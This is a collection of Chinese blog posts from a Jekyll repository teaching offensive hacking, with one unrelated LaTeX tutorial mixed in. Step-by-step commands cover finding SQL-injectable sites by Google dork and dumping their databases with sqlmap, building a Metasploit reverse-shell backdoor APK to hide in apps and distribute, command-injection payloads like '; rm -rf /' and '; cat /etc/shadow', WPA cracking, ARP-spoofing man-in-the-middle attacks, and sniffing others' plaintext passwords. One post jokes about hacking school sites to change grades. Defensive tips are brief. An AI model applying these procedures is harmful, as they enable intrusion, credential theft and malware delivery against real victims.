| 83 | ``` 84 | SELECT * FROM items 85 | ``` 86 | 87 | 这允许攻击者查询到权限外的数据。 88 | 89 | sqlmap是利用这种攻击的一个自动化工具:[使用sqlmap执行SQL注入攻击](http://topspeedsnail.com/sqlmap-injection-learn/) 90 | 91 | **** 92 | 93 | 防止SQL注入攻击的方法: 94 | 95 | * 对输入的数据进行检验,可以使用白名单/黑名单 96 | * 使用存储过程 97 | 98 | [黑客常用攻击方式汇总](http://topspeedsnail.com/hacker-attack-method/) -------------------------------------------------------------------------------- /_posts/2016-5-8-sqlmap-injection-learn.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用sqlmap执行SQL注入攻击 4 | --- 5 | 6 | 如果你不知道SQL注入攻击的原理是什么,看:[SQL注入攻击](http://topspeedsnail.com/hack-sql-injection-attack/) 7 | 8 | sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库。 9 | 10 | Kali Linux默认安装了这个工具。 11 | 12 | ![使用sqlmap执行SQL注入攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 18.26.46.png) 13 | 14 | ## 找到潜在的攻击目标 15 | 16 | 第一步是找到有SQL注入漏洞的网站。如果你没有特定攻击目标,可以使用[Google搜索](https://www.google.com/) php?id=1 (或php?id= + xx系医院): 17 | 18 | 找到结果中的url: 19 | 20 | ``` 21 | http://www.test.com/index.php?id=1 22 | ```` 23 | 24 | 检测是否有SQL注入漏洞;在url后添加一个'符号,使用浏览器访问: 25 | 26 | ``` 27 | http://www.test.com/index.php?id=1' 28 | ```` 29 | 30 | 如果网站没有SQL注入漏洞,使用上面的地址访问不会有问题。如果有SQL注入漏洞,会有错误输出: 31 | 32 | ![使用sqlmap执行SQL注入攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 15.17.44.png) 33 | 34 | **** 35 | 36 | ![使用sqlmap执行SQL注入攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 17.57.43.png) 37 | 38 | 中国很多企事业的网站都有漏洞,有很多学校网站的漏洞早已被发到了网上,这帮家伙也不修复。 39 | 40 | 入侵学校网站,修改成绩,有没有人想过:)。 41 | 42 | 关于使用sqlmap的法律问题: 43 | 44 | > Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 45 | 46 | ## SQL注入 47 | 48 | 测试SQL注入: 49 | 50 | {% highlight shell %} 51 | # sqlmap -u http://www.test.com/index.php?id=1 --dbs 52 | {% endhighlight %} 53 | 54 | 自动探测数据库类型和漏洞,如果成功会列出数据库: 55 | 56 | ![使用sqlmap执行SQL注入攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-08 at 18.58.24.png) 57 | 58 | 获得某个数据库中的表: 59 | 60 | {% highlight shell %} 61 | # sqlmap -u sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables 62 | {% endhighlight %} 63 | 64 | 获得表的字段: 65 | 66 | {% highlight shell %} 67 | # sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns 68 | {% endhighlight %} 69 | 70 | 下载某一字段的数据: 71 | 72 | {% highlight shell %} 73 | # sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump 74 | {% endhighlight %} 75 | 76 | 更多选项,参考man手册: 77 | 78 | {% highlight shell %} 79 | # man sqlmap 80 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-18-kali-linux-metasploit-hack-android.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 演示使用Metasploit入侵Android 4 | --- 5 | 6 | 文本演示怎么使用Kali Linux入侵Android手机。 7 | 8 | Kali Linux IP地址:192.168.0.112;接收连接的端口:443。 9 | 10 | ![kali Linux ip]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 10-16-04.png) 11 | 12 | 同一局域网内android手机一部(android 5.1) 13 | 14 | ### 创建一个后门程序 15 | 16 | 在终端中执行: 17 | 18 | {% highlight shell %} 19 | # msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=443 > my_backdoor.apk 20 | {% endhighlight %} 21 | 22 | 这个后门程序(APK)是发送给受害者的;要把上面命令的IP地址替换为攻击者IP,当后门程序运行时,它会试图连接这个IP。 23 | 24 | ### 启动Metasploit-等待受害者启动后门程序 25 | 26 | {% highlight shell %} 27 | # msfconsole 28 | {% endhighlight %} 29 | 30 | ![Metasploit 黑 Android]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-18 at 10.40.42.png) 31 | 32 | 依次执行: 33 | 34 | {% highlight shell %} 35 | msf > use exploit/multi/handler 36 | > set payload android/meterpreter/reverse_tcp 37 | > set lhost 192.168.0.112 38 | > set lport 443 39 | > exploit 40 | {% endhighlight %} 41 | 42 | ![Metasploit 黑 Android]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-18 at 10.46.23.png) 43 | 44 | ### 分发后门程序 45 | 46 | 一般后门程序都打包到正常app中,反正就是各种藏; 47 | 48 | 借助internet分发后门程序。 49 | 50 | 闲话不多书,这里我在自己的android手机上安装运行带后门的apk。 51 | 52 | ![Metasploit 黑 Android]({{ site.baseurl }}/images/2016/4/S60418-105349.jpg) 53 | 54 | 病毒!!! 55 | 56 | ### 控制受害者手机 57 | 58 | 受害者运行后门程序之后,就可以使用Metasploit控制他了: 59 | 60 | ![Kali Linux 黑 Android]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-18 at 11.00.09.png) 61 | 62 | 使用help查看可以使用的命令: 63 | 64 | ![Kali Linux 黑 Android]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 11-16-27.png) 65 | 66 | 例如使用对方的摄像头拍照: 67 | 68 | {% highlight shell %} 69 | > webcam_list 70 | > webcam_snap 71 | {% endhighlight %} 72 | 73 | ***** 74 | 75 | 怎么防范: 76 | 77 | * 不要安装不信任的apk 78 | * 如果你非要安装未知来源的apk,你可以使用android逆向工程查看apk的代码。[学习Android逆向工程](http://topspeedsnail.com/start-learn-android-reversing/) 79 | 80 | ![Kali Linux 黑 Android]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 11-27-38.png) 81 | 82 | **** 83 | 84 | [Metasploit的基本使用](http://topspeedsnail.com/kali-linux-metasploit-base-use/) 85 | 86 | [演示使用Metasploit入侵Windows](http://topspeedsnail.com/kali-linux-n-hack-windows-xp/) -------------------------------------------------------------------------------- /_posts/2016-5-2-use-tor-hide-your-ass.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用tor实现匿名扫描/SSH登录 4 | --- 5 | 6 | 你要做坏事时,最先应该想到匿名。扫描网站/主机,或利用漏洞;甚至在大天朝发帖都有风险,为了防止半夜鬼敲门,我们可以使用tor实现匿名。 7 | 8 | 如果你不知道tor是什么,看:https://zh.wikipedia.org/wiki/Tor ; https://program-think.blogspot.com/2013/11/tor-faq.html 9 | 10 | 图示: 11 | 12 | ![tor]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-02 at 17.48.25.png) 13 | 14 | 在天朝也许要多加一层: 15 | 16 | ![tor]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-02 at 18.08.45.png) 17 | 18 | 优点: 19 | 20 | * 首先有了一个梯子 21 | * 你的ISP提供商并不知道你在使用Tor,它也许知道你在使用代理 22 | * Tor的入口点并不知道你的IP地址,而是代理的ip地址;代理一定要可靠。 23 | 24 | 安装tor: 25 | 26 | {% highlight shell %} 27 | # apt-get install tor proxychains 28 | {% endhighlight %} 29 | 30 | 使用代理连接tor网络,下面以lantern为例: 31 | 32 | {% highlight shell %} 33 | # tor HTTPProxy 127.0.0.1:8787 34 | {% endhighlight %} 35 | 36 | 它可以和大多数的梯子配合使用,但是,最好使用加密的代理(socks/https/vpn)。 37 | 38 | 使用man tor查看帮助信息. 39 | 40 | ****** 41 | 42 | proxychains可以强制TCP的连接使用代理(Tor),它是一个命令行工具。 43 | 44 | 配置proxychains使用哪个代理: 45 | 46 | {% highlight shell %} 47 | # vim /etc/proxychains.conf 48 | {% endhighlight %} 49 | 50 | 默认配置的是tor: 51 | 52 | ``` 53 | dynamic_chain 54 | #strict_chain 55 | proxy_dns 56 | #socks4 127.0.0.1 9050 57 | socks5 127.0.0.1 9050 58 | ``` 59 | 60 | 使用: 61 | 62 | {% highlight shell %} 63 | # proxychains curl -O somewebsite 64 | 65 | # proxychains theharvester -d 163.com -b google 66 | {% endhighlight %} 67 | 68 | theharvester是从各种搜索引擎收集信息的工具。 69 | 70 | ***** 71 | 72 | 有些应用并不使用代理发送DNS请求,为了防止DNS泄露,使用Privoxy。 73 | 74 | {% highlight shell %} 75 | # apt-get install privoxy 76 | {% endhighlight %} 77 | 78 | 配置 79 | 80 | {% highlight shell %} 81 | # vim /etc/privoxy/config 82 | {% endhighlight %} 83 | 84 | 写入一行: 85 | 86 | ``` 87 | forward-socks5 / 127.0.0.1:9050 . 88 | ``` 89 | 90 | **** 91 | 92 | 匿名扫描: 93 | 94 | {% highlight shell %} 95 | # proxychains nmap -Pn -sT -p 80,443,21,22,23 google.com 96 | {% endhighlight %} 97 | 98 | 匿名SSH登录: 99 | 100 | {% highlight shell %} 101 | # torify ssh user@ip_address 102 | {% endhighlight %} 103 | 104 | **** 105 | 106 | * [Kali Linux编译Lantern](http://blog.topspeedsnail.com/archives/4236) 107 | * [kali linux: 安装Tor浏览器](http://blog.topspeedsnail.com/archives/4577) -------------------------------------------------------------------------------- /_posts/2016-4-13-hack-command-injection-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 命令注入攻击 4 | --- 5 | 6 | 命令注入攻击(command/shell injection)是通过目标主机上某个程序的漏洞来执行攻击者想要执行的命令。命令注入攻击常用在向程序传入不安全参数(命令行参数、http头、cookie)。 7 | 8 | ### 下面看一个简单的例子: 9 | 10 | 下面这段代码包装了cat命令: 11 | 12 | {% highlight c %} 13 | #include 14 | #include 15 | #include 16 | 17 | int main(int argc, char *argv[]) 18 | { 19 | char *cat = "cat "; 20 | 21 | int command_len = strlen(cat) + strlen(argv[1]) + 1; 22 | char *com = (char*) malloc(command_len); 23 | strncpy(com, cat, command_len); 24 | strncat(com, argv[1], command_len - strlen(cat)); 25 | 26 | system(com); 27 | return 0; 28 | } 29 | {% endhighlight %} 30 | 31 | 正常执行,输出show.txt文件里的内容: 32 | 33 | {% highlight shell %} 34 | $ ./a.out show.txt 35 | Hello World 36 | {% endhighlight %} 37 | 38 | 上面的程序允许攻击者执行它想运行的命令,例如: 39 | 40 | {% highlight shell %} 41 | $ ./a.out "show.txt; ls -lah" 42 | Hello World 43 | total 6 44 | drwxr-xr-x 19 tian staff 646B Apr 13 10:04 . 45 | drwx------+ 14 tian staff 476B Mar 23 16:07 .. 46 | -rw-r--r--@ 1 tian staff 14K Mar 26 17:35 .DS_Store 47 | -rwxr-xr-x 1 tian staff 8.4K Apr 13 10:02 a.out 48 | -rw-r--r-- 1 tian staff 12B Apr 13 10:04 show.txt 49 | -rw-r--r-- 1 tian staff 325B Apr 13 10:02 test.c 50 | {% endhighlight %} 51 | 52 | 如果上面命令使用root运行,那么攻击者也就非常容易的获得了root权限: 53 | 54 | {% highlight shell %} 55 | # ./a.out "show.txt; rm -rf /" 56 | # ./a.out "show.txt; cat /etc/shadow" 57 | {% endhighlight %} 58 | 59 | [Linux上最危险的8个命令](http://topspeedsnail.com/Linux-most-dangerous-cmd/) 60 | 61 | 获得/etc/shadow可以破解密码:[Kali Linux:使用John the Ripper破解密码](http://topspeedsnail.com/John-the-Ripper-learn/) 62 | 63 | 命令注入攻击利用了程序对用户输入的信息没有做足够的检验。 64 | 65 | ### 利用环境变量实现命令注入攻击 66 | 67 | CGI工具里有如下代码: 68 | 69 | {% highlight c %} 70 | system("cd /var/yp && make &> /dev/null"); 71 | {% endhighlight %} 72 | 73 | 上面代码把参数写死了,那么上面通过传參的方法就不灵了。但是make命令并没有使用绝对路径,也就是说你可以通过修改$PATH环境变量指向自己要执行的同名make。 74 | 75 | ### 看一个PHP代码 76 | 77 | 下面这段代码可以施行命令注入攻击,delete.php: 78 | 79 | {% highlight php %} 80 | "); 83 | $file=$_GET['filename']; 84 | system("rm $file"); 85 | ?> 86 | {% endhighlight %} 87 | 88 | 执行请求: 89 | 90 | ``` 91 | http://something/delete.php?filename=some.png;ls 92 | ``` 93 | 94 | 会执行ls命令。 95 | 96 | [黑客常用攻击方式汇总](http://topspeedsnail.com/hacker-attack-method/) -------------------------------------------------------------------------------- /_posts/2016-4-5-macbook-crack-wifi-with-wpa-wpa2.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用macbook破解WPA/WPA2 wifi密码 4 | --- 5 | 6 | 文本仅供学习交流。 7 | 8 | 我使用的系统是macbook air: 9 | 10 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 11.26.50.png) 11 | 12 | ## 安装aircrack-ng 13 | 14 | 使用[macport](https://www.macports.org/install.php)安装,命令: 15 | 16 | {% highlight shell %} 17 | $ sudo port install aircrack-ng 18 | {% endhighlight %} 19 | 20 | ## 抓包-抓取带密码的握手包 21 | 22 | macbook自带了一个wifi工具:airport。 23 | 24 | 首先,断开wifi: 25 | 26 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 14.10.48.png) 27 | 28 | 查看周围的wifi: 29 | 30 | {% highlight shell %} 31 | $ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s 32 | {% endhighlight %} 33 | 34 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 14.12.27.png) 35 | 36 | 查看本机的无线网卡设备: 37 | 38 | {% highlight shell %} 39 | $ ifconfig 40 | {% endhighlight %} 41 | 42 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 14.16.15.png) 43 | 44 | **抓包:** 45 | 46 | airport可以使用网卡的监听模式抓取周围的无线网络数据包。其中,对我们最重要的数据包是:包含密码的包-也叫握手包。当有新用户或断开用户自动连接wifi时,会发送握手包。有一种攻击方式是reinjecting packet,它可以强制无线路由器重启,这样当用户自动连接时可以获得握手包。如果无线路由器用户多的话,可以静等([Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)](http://topspeedsnail.com/kali-linux-crack-wifi-wpa/))。 47 | 48 | {% highlight shell %} 49 | $ sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6 50 | {% endhighlight %} 51 | 52 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 14.35.17.png) 53 | 54 | en0是无线网卡设备;6是要破解wifi的CHANNEL。 55 | 56 | 静等用户连接wifi,获得握手包。 57 | 58 | 抓的包,保存在/tmp: 59 | 60 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 14.27.21.png) 61 | 62 | ## 破解wifi密码 63 | 64 | 获得握手包之后,我们还需要破解加密的密码。 65 | 66 | 好的密码字典一个,应包含常见的弱密码、手机号、姓名生日组合、各大网站泄露的密码、英语单词等等。如果使用字典破解不了,说明密码还算复杂;暴力穷举更是费时费力。(论复杂密码的重要性)。 67 | 68 | {% highlight shell %} 69 | $ sudo aircrack-ng -w password.txt -b c8:3a:35:30:3e:c8 /tmp/*.cap 70 | {% endhighlight %} 71 | 72 | -w:指定字典文件;-b:指定要破解的wifi BSSID。 73 | 74 | 破解过程: 75 | 76 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 14.45.30.png) 77 | 78 | ![macbook]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-05 at 15.15.39.png) 79 | 80 | > ### 我使用的密码字典: 81 | > 82 | > http://pan.baidu.com/s/1clxaCA (全,未压缩15G) 83 | > 84 | > http://pan.baidu.com/s/1o7MCcHk (简,未压缩680M) -------------------------------------------------------------------------------- /_posts/2016-4-17-reversing-engineering-android-other.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Android逆向工具(三) 4 | --- 5 | 6 | 本节介绍如下4个工具: 7 | 8 | * Smali/Baksmali 9 | * Simplify 10 | * Androwarn 11 | * APKAnalyser 12 | 13 | ## Smali/Baksmali 14 | 15 | smali/baksmali是dalvik使用的dex格式的编译/反编译工具,dalvik是Android Java虚拟机的实现。 16 | 17 | Android开发者写的Java代码最终会编译为.dex(Dalvik Executable)文件,并打包进apk文件。为了解码一个apk文件,我们需要提取.dex文件,dex是二进制格式,不可读,还需要转换为Smali语言。 18 | 19 | .dex ----------> smali <------------- Java源码 20 | 21 | smali项目地址:https://github.com/JesusFreke/smali 22 | 23 | 下载Smali和BakSmali jar文件:https://bitbucket.org/JesusFreke/smali/downloads 24 | 25 | *使用baksmali反编译.dex文件* 26 | 27 | ![baksmali]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-17 22-52-41.png) 28 | 29 | 命令语法: 30 | 31 | {% highlight shell %} 32 | # baksmali -o 33 | {% endhighlight %} 34 | 35 | *使用smali把.smali文件编译回.dex* 36 | 37 | ![baksmali]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-17 23-07-13.png) 38 | 39 | {% highlight shell %} 40 | # smali output -o classes.dex 41 | {% endhighlight %} 42 | 43 | ## Simplify 44 | 45 | 开发者为了防止自己的劳动成果被别人窃取,混淆代码能有效防止被他人破解,让代码更难理解。有时,混淆还能帮助隐藏恶意代码。也就是说我们需要反混淆。 46 | 47 | Simplify是代码反混淆工具,输入Smali文件,生成.dex文件;然后使用[Dex2Jar](https://github.com/pxb1988/dex2jar)或[JD-GUI](http://jd.benow.ca)或其他Java反编译工具提取dex文件内容。 48 | 49 | Simplify的项目地址:https://github.com/CalebFenton/simplify,在README中有使用方法。 50 | 51 | ## Androwarn 52 | 53 | Androwarn是使用Smali的静态分析工具,它扫描应用的字节码,然后生成报告, 54 | 55 | > Androwarn is a tool whose main aim is to detect and warn the user about potential malicious behaviours developped by an Android application. 56 | > 57 | > The detection is performed with the static analysis of the application's Dalvik bytecode, represented as Smali. 58 | > 59 | > This analysis leads to the generation of a report, according to a technical detail level chosen from the user. 60 | 61 | 项目地址:https://github.com/maaaaz/androwarn/ 62 | 63 | ## APKAnalyser 64 | 65 | APKAnalyser是带图形用户界面的静态代码分析工具,包括Smali和APKTool等工具。 66 | 67 | 项目地址:https://github.com/sonyxperiadev/ApkAnalyser 68 | 69 | ******* 70 | 71 | [Android逆向工程基本环境设置](http://topspeedsnail.com/android-reversing-env-setup/) 72 | 73 | [移除Android应用广告-Android逆向工程](http://topspeedsnail.com/android-reversing-remove-ad/) 74 | 75 | [Android逆向工具:Androguard(一)](http://topspeedsnail.com/reversing-engineering-android-androguard/) 76 | 77 | [Android逆向工具:Androguard(二)](http://topspeedsnail.com/reversing-engineering-android-androguard2/) -------------------------------------------------------------------------------- /_posts/2016-4-18-kali-linux-ettercap-arp-spoof-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux ettercap的使用 4 | --- 5 | 6 | ettercap是执行ARP欺骗嗅探的工具,通常用它来施行中间人攻击。 7 | 8 | 我还介绍过另一个arp欺骗工具-arpspoof: 9 | 10 | * [使用Kali Linux执行中间人攻击](http://topspeedsnail.com/kali-linux-preform-man-in-middle-attack/) 11 | 12 | 我使用的是Kali Linux 2.0;在开始使用ettercap之前,先配置一下: 13 | 14 | 编辑配置文件/etc/ettercap/etter.conf: 15 | 16 | {% highlight shell %} 17 | # vim /etc/ettercap/etter.conf 18 | {% endhighlight %} 19 | 20 | 找到privs一段,改为: 21 | 22 | ``` 23 | ec_uid = 0 # nobody is the default 24 | ec_gid = 0 # nobody is the default 25 | ``` 26 | 27 | 在176行"if you use iptables",去掉注释: 28 | 29 | ``` 30 | redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dpor t %port -j REDIRECT --to-port %rport" 31 | redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dpo rt %port -j REDIRECT --to-port %rport" 32 | ``` 33 | 34 | 保存退出。 35 | 36 | 如果你没有打开端口转发,打开方法: 37 | 38 | * [Linux开启端口转发](http://blog.topspeedsnail.com/archives/4384) 39 | 40 | ***** 41 | 42 | ettercap图形用户界面:Applications->Sniffing & Spoofing->ettercap-graphical: 43 | 44 | ![Kali Linux ettercap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 21-57-41.png) 45 | 46 | Options菜单里确保选择Promisc mode; 47 | 48 | Sniff菜单中选择Unified sniffing:选择使用的网络接口,我使用wlan0;如果你使用有线,选择eth0; 49 | 50 | ![Kali Linux ettercap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 22-04-44.png) 51 | 52 | Host->Scan for hosts,扫描当前网络中的所有主机。 53 | 54 | Host->Host list,扫描到的主机列表: 55 | 56 | ![Kali Linux ettercap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 22-14-28.png) 57 | 58 | 然后我们就可以选择要攻击的目标了,例如,选择192.168.0.105的IP地址,点击Add to Target 1(添加到目标1),然后选择网关的IP地址192.168.0.1,点击Add to Target 2(添加到目标2)。所有从192.168.0.105发送的数据都会经过Kali Linux。 59 | 60 | 如果还要截获发送给192.168.0.105的数据,把192.168.0.1添加到Target 1,192.168.0.105添加到Target 2,这实现双向监听数据。 61 | 62 | 可以添加多个主机。 63 | 64 | 查看添加的攻击目标:Targets->Current targets: 65 | 66 | ![Kali Linux ettercap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-18 22-25-05.png) 67 | 68 | 再次确保已开启端口转发,有时会自己关上,不知道为什么: 69 | 70 | {% highlight shell %} 71 | # echo '1' > /proc/sys/net/ipv4/ip_forward 72 | {% endhighlight %} 73 | 74 | 开始攻击:Mitm->ARP Poisoning,选择参数,Sniff remote connections。 75 | 76 | 这个时候目标主机的所有流量都是通过攻击者的主机出去的,想抓啥就抓啥。 77 | 78 | 和Wireshark配合使用: 79 | 80 | * [在Wifi网络中嗅探明文密码(HTTP POST请求)](http://topspeedsnail.com/wireshark-hack-http-post-password/) 81 | 82 | ********* 83 | 84 | ettercap命令行工具就不解释了。看man手册就成了。 -------------------------------------------------------------------------------- /_posts/2016-3-27-b-first-latex-doc.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程2:第一个基于LaTeX的文档 4 | --- 5 | 6 | 在这篇教程中,我们创建几个基本的LaTeX文档,并对LaTeX语法进行解释。 7 | 8 | ### 基本的LaTeX文件结构 9 | 10 | 使用LaTeX创建文档是很简单的,它和**MS Word**的不同是,你书写的是包含LaTeX代码和实际内容的纯文本文件(.tex文件)。LaTeX代码控制实际内容的格式/样式。在编译时.tex文件会转换成.pdf文档,例如教程1里的代码: 11 | 12 | {% highlight tex %} 13 | \documentclass{article} 14 | 15 | \begin{document} 16 | Hello World! 17 | \end{document} 18 | {% endhighlight %} 19 | 20 | 编译之后,生成的PDF文档中会有**Hello World!**字样,文档底部的页码也是自动生成的。 21 | 22 | 让我们来解析一下上面的代码。你可以看到有许多以\开头的语句,这些语句并不是实际的内容,它是LaTeX命令。所有命令都是这种结构:**\command{option}**。command是命令的名字,大括号里的option指定命令使用的参数。 23 | 24 | \documentclass{article}:设置文档的种类,这影响文档的基本格式。如果你使用book,它的样式和article是不一样的。 25 | 26 | \begin,\end语句:这其实并不是命令,而是定义了环境。begin和end间的环境代表这块区间应用的排版规则。在文档中可以有多个环境,下面代码展示环境的使用方法: 27 | 28 | {% highlight tex %} 29 | % 正确用法: 30 | 31 | \begin{document} 32 | \begin{environment1} 33 | \begin{environment2} 34 | \end{environment2} 35 | \end{environment1} 36 | \end{document} 37 | 38 | % 错误用法: 39 | 40 | \begin{document} 41 | \begin{environment1} 42 | \begin{environment2} 43 | \end{environment1} 44 | \end{environment2} 45 | \end{document} 46 | {% endhighlight %} 47 | 48 | % 开头的代码是注释。 49 | 50 | ### 丰富页面 51 | 52 | 当你的文档中使用数学公式或图表时,你会使用到更多的环境。当然,你也可以自定义环境。LaTeX自带了常用的环境,这些环境使用包(package)引入,后面教程会有说明。 53 | 54 | 添加更多命令使文档内容更丰富: 55 | 56 | {% highlight tex %} 57 | \documentclass{article} 58 | 59 | \title{Hello you} 60 | \date{2015-09-01} 61 | \author{olly shit} 62 | 63 | \begin{document} 64 | \maketitle 65 | \newpage 66 | 67 | Hello World! 68 | \end{document} 69 | {% endhighlight %} 70 | 71 | \title、\date和\author并没有在document环境中,所以它们并不会在文档中显示。 72 | 73 | \maketitle自动创建“扉页”;\newpage创建新页面。 74 | 75 | 上面代码生成了两页文档,如下: 76 | 77 | 第一页: 78 | 79 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-27 at 11.52.56.png) 80 | 81 | 第二页: 82 | 83 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-27 at 11.53.06.png) 84 | 85 | 注意,上面创建的文档在扉页上有页码,这不符合文档格式。 86 | 87 | 我们可以移除第一页的页码,代码如下: 88 | 89 | {% highlight tex %} 90 | \documentclass{article} 91 | 92 | \title{Hello you} 93 | \date{2015-09-01} 94 | \author{olly shit} 95 | 96 | \begin{document} 97 | \pagenumbering{gobble} 98 | \maketitle 99 | \newpage 100 | \pagenumbering{arabic} 101 | 102 | Hello World! 103 | \end{document} 104 | {% endhighlight %} 105 | 106 | 页码将从第二页文档开始,起始值是数字1。 107 | 108 | 关于pagenumbering命令的选项: 109 | 110 | * gobble:没有页码 111 | * arabic:阿拉伯数字 112 | * roman:罗马数字 -------------------------------------------------------------------------------- /_posts/2016-4-18-wireshark-hack-http-post-password.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 在Wifi网络中嗅探明文密码(HTTP POST请求、POP等) 4 | --- 5 | 6 | 全世界,现在大约50%的网站没有使用SSL加密,天朝尤其多。 7 | 8 | 我们都知道通过HTTP发送的数据都是明文,没有使用任何加密,即使是在数据敏感的登录页面。 9 | 10 | 本文的目的是:如果你在不熟悉的网络环境中,要注意提高警惕。 11 | 12 | 没有人希望自己的密码暴露给他人,so,不要嗅探(狗)他人的密码。 13 | 14 | > 想象有一个攻击者坐在某个咖啡馆里,桌子上放着他的笔记本电脑并连着咖啡馆的免费wifi。这个家伙就可以非常容易的获得网络里通信信息。如果密码是明文,连破解都省了。 15 | 16 | 系统要求: 17 | 18 | * Wireshark 19 | * ARP欺骗攻击(ARP spoof attack) 20 | * 无线网卡 21 | 22 | ******* 23 | 24 | 无线网卡监听模式和混杂模式有什么不同: 25 | 26 | * 监听模式允许网卡不用连接wifi就可以抓取特性频道的数据,就是在空气中抓取某个波段的数据。可以用在[破解wifi密码](http://topspeedsnail.com/macbook-crack-wifi-with-wpa-wpa2/)上 27 | * 混杂模式(连接wifi)就是接收所有经过网卡的数据包,包括不是发给本机的包,即不验证MAC地址 28 | * 普通模式下网卡只接收发给本机的包 29 | 30 | 现在的无线路由器都是和主机直接通信,如果你直接使用嗅探工具,只会得到广播信息和自己的连接信息。为了得到网络中所有设备发送的的数据,攻击者必须想办法充当网关的角色,ARP欺骗攻击就干了这样一件事。如果有路由器控制权的话就省事了。 31 | 32 | 集线器可以直接嗅探,因为所有数据的发送形式是广播。看看这:[集线器、交换机和路由器有什么不同](http://blog.topspeedsnail.com/archives/4391)。 33 | 34 | ARP欺骗攻击(ARP spoof attack): 35 | 36 | * [使用Kali Linux执行中间人攻击](http://topspeedsnail.com/kali-linux-preform-man-in-middle-attack/) 37 | * [Kali Linux ettercap的使用](http://topspeedsnail.com/kali-linux-ettercap-arp-spoof-attack/) 38 | 39 | *** 40 | 41 | ## 下载安装Wireshark 42 | 43 | 它也支持Windows、Mac OSX;下载地址: 44 | 45 | Kali Linux自带了这个工具。 46 | 47 | ![Wireshark]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-18 at 18.25.28.png) 48 | 49 | ## ARP欺骗攻击 50 | 51 | 我选择使用ettercap,如果你不知道怎么使用,看,[Kali Linux ettercap的使用](http://topspeedsnail.com/kali-linux-ettercap-arp-spoof-attack/)。 52 | 53 | 攻击同一wifi网络中的其他主机: 54 | 55 | ![ettercap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-19 09-00-57.png) 56 | 57 | ## 使用Wireshark抓包 58 | 59 | 现在wifi网络中所有计算机发送的数据包都经过攻击者计算机,攻击者需要抓取这些数据包。 60 | 61 | ![Wireshark]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-19 09-06-38.png) 62 | 63 | 等待其他人使用明文密码。 64 | 65 | 例如,要找HTTP POST请求,过滤: 66 | 67 | ``` 68 | http.request.method == "POST" 69 | ``` 70 | 71 | ![Wireshark]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-19 09-16-16.png) 72 | 73 | 查看明文密码: 74 | 75 | ![Wireshark]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-19 09-21-05.png) 76 | 77 | ettercap也可以抓包,它直接提取了明文密码: 78 | 79 | ![ettercap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-19 09-27-22.png) 80 | 81 | POP抓取的是我163的邮箱账户。我手机安装了邮件客户端,如果连接网络它会定时收取邮件,在认证的过程中就把密码暴露了。 82 | 83 | 常用的其他未加密服务:FTP、Telnet等 84 | 85 | ****** 86 | 87 | 总结: 88 | 89 | * 不要使用公共网络访问HTTP、POP等不安全服务,尽量使用HTTPS类型的网站。 90 | * 